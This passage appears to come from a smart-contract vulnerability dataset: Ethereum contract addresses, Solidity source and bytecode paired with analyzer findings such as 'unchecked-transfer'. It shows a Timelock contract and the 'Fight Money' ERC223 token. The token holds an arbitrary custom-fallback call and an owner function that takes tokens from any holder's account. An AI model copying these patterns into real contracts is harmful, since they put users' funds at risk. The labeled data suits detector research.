169163a9059cbb9116836000604051602001526040517c010000000000000000000000000000000000000000000000000000000063ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156108e557600080fd5b6102c65a03f115156108f657600080fd5b505050604051805150505050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a0390811691161461094a57600080fd5b8115801561095a57506001811515145b1561096457600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a841515021775ff000000000000000000000000000000000000000000191660a860020a831515021790557fa14d191ca4f53bfcf003c65d429362010a2d3d68bc0c50cce4bdc0fccf661fb082604051901515815260200160405180910390a17fc77636fc4a62a1fa193ef538c0b7993a1313a0d9c0a9173058cebcd3239ef7b581604051901515815260200160405180910390a15050565b60035433600160a060020a03908116911614610a3857600080fd5b600160a060020a0381161515610a4d57600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600454600160a060020a031681565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60035460009060a060020a900460ff1615610b915760035460a860020a900460ff16151561011c5760045433600160a060020a0390811691161480610b86575060035433600160a060020a039081169116145b1515610b9157600080fd5b6107de848484610db4565b600082821115610ba857fe5b50900390565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610c0b57600160a060020a033381166000908152600260209081526040808320938816835292905290812055610c42565b610c1b818463ffffffff610b9c16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b60035460009060a060020a900460ff1615610d065760035460a860020a900460ff16151561011c5760045433600160a060020a0390811691161480610cfb575060035433600160a060020a039081169116145b1515610d0657600080fd5b6104d28383610f36565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610d48908363ffffffff61103116565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b6000600160a060020a0383161515610dcb57600080fd5b600160a060020a038416600090815260016020526040902054821115610df057600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610e2357600080fd5b600160a060020a038416600090815260016020526040902054610e4c908363ffffffff610b9c16565b600160a060020a038086166000908152600160205260408082209390935590851681522054610e81908363ffffffff61103116565b600160a060020a03808516600090815260016020908152604080832094909455878316825260028152838220339093168252919091522054610ec9908363ffffffff610b9c16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b6000600160a060020a0383161515610f4d57600080fd5b600160a060020a033316600090815260016020526040902054821115610f7257600080fd5b600160a060020a033316600090815260016020526040902054610f9b908363ffffffff610b9c16565b600160a060020a033381166000908152600160205260408082209390935590851681522054610fd0908363ffffffff61103116565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b6000828201838110156104d257fe00a165627a7a72305820dc0a2a0684bc33bbe362495d6c3daf9d60c097377f40e7df661df6b33b612b9d0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
5,667
0x1B16596286258b4FCc1e5FaFfdF856B208aCa137
/** *Submitted for verification at Etherscan.io on 2021-03-08 */ pragma solidity ^0.5.16; // From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol // Subject to the MIT license. /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Timelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 2 days; uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint delay_) public { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); admin = admin_; delay = delay_; } function() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(value)(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } }
0x6080604052600436106100c25760003560e01c80636a42b8f81161007f578063c1a287e211610059578063c1a287e2146105dd578063e177246e146105f2578063f2b065371461061c578063f851a4401461065a576100c2565b80636a42b8f81461059e5780637d645fab146105b3578063b1b43ae5146105c8576100c2565b80630825f38f146100c45780630e18b68114610279578063267822471461028e5780633a66f901146102bf5780634dd18bf51461041e578063591fcdfe14610451575b005b610204600480360360a08110156100da57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561010957600080fd5b82018360208201111561011b57600080fd5b803590602001918460018302840111600160201b8311171561013c57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561018e57600080fd5b8201836020820111156101a057600080fd5b803590602001918460018302840111600160201b831117156101c157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550509135925061066f915050565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561023e578181015183820152602001610226565b50505050905090810190601f16801561026b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561028557600080fd5b506100c2610b88565b34801561029a57600080fd5b506102a3610c24565b604080516001600160a01b039092168252519081900360200190f35b3480156102cb57600080fd5b5061040c600480360360a08110156102e257600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561031157600080fd5b82018360208201111561032357600080fd5b803590602001918460018302840111600160201b8311171561034457600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561039657600080fd5b8201836020820111156103a857600080fd5b803590602001918460018302840111600160201b831117156103c957600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610c33915050565b60408051918252519081900360200190f35b34801561042a57600080fd5b506100c26004803603602081101561044157600080fd5b50356001600160a01b0316610f44565b34801561045d57600080fd5b506100c2600480360360a081101561047457600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b8111156104a357600080fd5b8201836020820111156104b557600080fd5b803590602001918460018302840111600160201b831117156104d657600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561052857600080fd5b82018360208201111561053a57600080fd5b803590602001918460018302840111600160201b8311171561055b57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610fd2915050565b3480156105aa57600080fd5b5061040c611288565b3480156105bf57600080fd5b5061040c61128e565b3480156105d457600080fd5b5061040c611295565b3480156105e957600080fd5b5061040c61129c565b3480156105fe57600080fd5b506100c26004803603602081101561061557600080fd5b50356112a3565b34801561062857600080fd5b506106466004803603602081101561063f57600080fd5b5035611398565b604080519115158252519081900360200190f35b34801561066657600080fd5b506102a36113ad565b6000546060906001600160a01b031633146106bb5760405162461bcd60e51b81526004018080602001828103825260388152602001806114226038913960400191505060405180910390fd5b6000868686868660405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561072a578181015183820152602001610712565b50505050905090810190601f1680156107575780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561078a578181015183820152602001610772565b50505050905090810190601f1680156107b75780820380516001836020036101000a031916815260200191505b5060408051601f1981840301815291815281516020928301206000818152600390935291205490995060ff16975061082896505050505050505760405162461bcd60e51b815260040180806020018281038252603d815260200180611575603d913960400191505060405180910390fd5b826108316113bc565b101561086e5760405162461bcd60e51b81526004018080602001828103825260458152602001806114c46045913960600191505060405180910390fd5b610881836212750063ffffffff6113c016565b6108896113bc565b11156108c65760405162461bcd60e51b81526004018080602001828103825260338152602001806114916033913960400191505060405180910390fd5b6000818152600360205260409020805460ff1916905584516060906108ec575083610979565b85805190602001208560405160200180836001600160e01b0319166001600160e01b031916815260040182805190602001908083835b602083106109415780518252601f199092019160209182019101610922565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b60006060896001600160a01b031689846040518082805190602001908083835b602083106109b85780518252601f199092019160209182019101610999565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610a1a576040519150601f19603f3d011682016040523d82523d6000602084013e610a1f565b606091505b509150915081610a605760405162461bcd60e51b815260040180806020018281038252603d815260200180611658603d913960400191505060405180910390fd5b896001600160a01b0316847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610add578181015183820152602001610ac5565b50505050905090810190601f168015610b0a5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610b3d578181015183820152602001610b25565b50505050905090810190601f168015610b6a5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b6001546001600160a01b03163314610bd15760405162461bcd60e51b81526004018080602001828103825260388152602001806115b26038913960400191505060405180910390fd5b60008054336001600160a01b031991821617808355600180549092169091556040516001600160a01b03909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b6001546001600160a01b031681565b600080546001600160a01b03163314610c7d5760405162461bcd60e51b81526004018080602001828103825260368152602001806116226036913960400191505060405180910390fd5b610c97600254610c8b6113bc565b9063ffffffff6113c016565b821015610cd55760405162461bcd60e51b81526004018080602001828103825260498152602001806116956049913960600191505060405180910390fd5b6000868686868660405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610d44578181015183820152602001610d2c565b50505050905090810190601f168015610d715780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610da4578181015183820152602001610d8c565b50505050905090810190601f168015610dd15780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016003600083815260200190815260200160002060006101000a81548160ff021916908315150217905550866001600160a01b0316817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610e9c578181015183820152602001610e84565b50505050905090810190601f168015610ec95780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610efc578181015183820152602001610ee4565b50505050905090810190601f168015610f295780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39695505050505050565b333014610f825760405162461bcd60e51b81526004018080602001828103825260388152602001806115ea6038913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b0383811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b6000546001600160a01b0316331461101b5760405162461bcd60e51b815260040180806020018281038252603781526020018061145a6037913960400191505060405180910390fd5b6000858585858560405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561108a578181015183820152602001611072565b50505050905090810190601f1680156110b75780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156110ea5781810151838201526020016110d2565b50505050905090810190601f1680156111175780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006003600083815260200190815260200160002060006101000a81548160ff021916908315150217905550856001600160a01b0316817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156111e25781810151838201526020016111ca565b50505050905090810190601f16801561120f5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561124257818101518382015260200161122a565b50505050905090810190601f16801561126f5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b62278d0081565b6202a30081565b6212750081565b3330146112e15760405162461bcd60e51b81526004018080602001828103825260318152602001806116de6031913960400191505060405180910390fd5b6202a3008110156113235760405162461bcd60e51b81526004018080602001828103825260348152602001806115096034913960400191505060405180910390fd5b62278d008111156113655760405162461bcd60e51b815260040180806020018281038252603881526020018061153d6038913960400191505060405180910390fd5b600281905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60036020526000908152604090205460ff1681565b6000546001600160a01b031681565b4290565b60008282018381101561141a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea265627a7a72315820635f09047dab1d029904f5a3297a5dea5559eae365becf5c323905b3e19f616464736f6c63430005100032
{"success": true, "error": null, "results": {}}
5,668
0x8b3d0703b30a6c2eb8b88a479648391186e4cc8f
pragma solidity ^0.4.18; /** * @title SafeMath */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the * sender account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC223 */ contract ERC223 { uint public totalSupply; // ERC223 and ERC20 functions and events function balanceOf(address who) public view returns (uint); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); // ERC223 functions function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); // ERC20 functions and events function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } /** * @title ContractReceiver */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); } } /** * @title Fight Money */ contract FIGHTMONEY is ERC223, Ownable { using SafeMath for uint256; string public name = "Fight Money"; string public symbol = "FM"; uint8 public decimals = 18; uint256 public totalSupply = 70e9 * 1e18; bool public mintingFinished = false; mapping(address => uint256) public balanceOf; mapping(address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed from, uint256 amount); event Mint(address indexed to, uint256 amount); event MintFinished(); function FIGHTMONEY() public { balanceOf[msg.sender] = totalSupply; } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOf[_owner]; } function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint j = 0; j < targets.length; j++){ require(unlockUnixTime[targets[j]] < unixTimes[j]); unlockUnixTime[targets[j]] = unixTimes[j]; LockedFunds(targets[j], unixTimes[j]); } } function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { length := extcodesize(_addr) } return (length > 0); } function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0) && _value > 0 && balanceOf[_from] >= _value && allowance[_from][msg.sender] >= _value && frozenAccount[_from] == false && frozenAccount[_to] == false && now > unlockUnixTime[_from] && now > unlockUnixTime[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowance[_owner][_spender]; } function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf[_from] >= _unitAmount); balanceOf[_from] = balanceOf[_from].sub(_unitAmount); totalSupply = totalSupply.sub(_unitAmount); Burn(_from, _unitAmount); } modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) { require(_unitAmount > 0); totalSupply = totalSupply.add(_unitAmount); balanceOf[_to] = balanceOf[_to].add(_unitAmount); Mint(_to, _unitAmount); Transfer(address(0), _to, _unitAmount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } function rescueToken(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint j = 0; j < addresses.length; j++) { require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e18); require(balanceOf[addresses[j]] >= amounts[j]); balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]); totalAmount = totalAmount.add(amounts[j]); Transfer(addresses[j], msg.sender, amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount); return true; } }
0x6060604052600436106101035763ffffffff60e060020a60003504166305d2035b811461010857806306fdde031461012f578063095ea7b3146101b957806318160ddd146101db57806323b872dd14610200578063313ce5671461022857806340c10f191461025157806364ddc6051461027357806370a08231146103045780637d64bcb4146103235780638da5cb5b1461033657806395d89b41146103655780639dc29fac14610378578063a9059cbb1461039a578063b414d4b6146103bc578063be45fd62146103db578063cbbe974b14610440578063dd62ed3e1461045f578063f2fde38b14610484578063f6368f8a146104a3578063ff1780ec1461054a575b600080fd5b341561011357600080fd5b61011b6105d9565b604051901515815260200160405180910390f35b341561013a57600080fd5b6101426105e2565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561017e578082015183820152602001610166565b50505050905090810190601f1680156101ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101c457600080fd5b61011b600160a060020a036004351660243561068a565b34156101e657600080fd5b6101ee6106f6565b60405190815260200160405180910390f35b341561020b57600080fd5b61011b600160a060020a03600435811690602435166044356106fc565b341561023357600080fd5b61023b61090b565b60405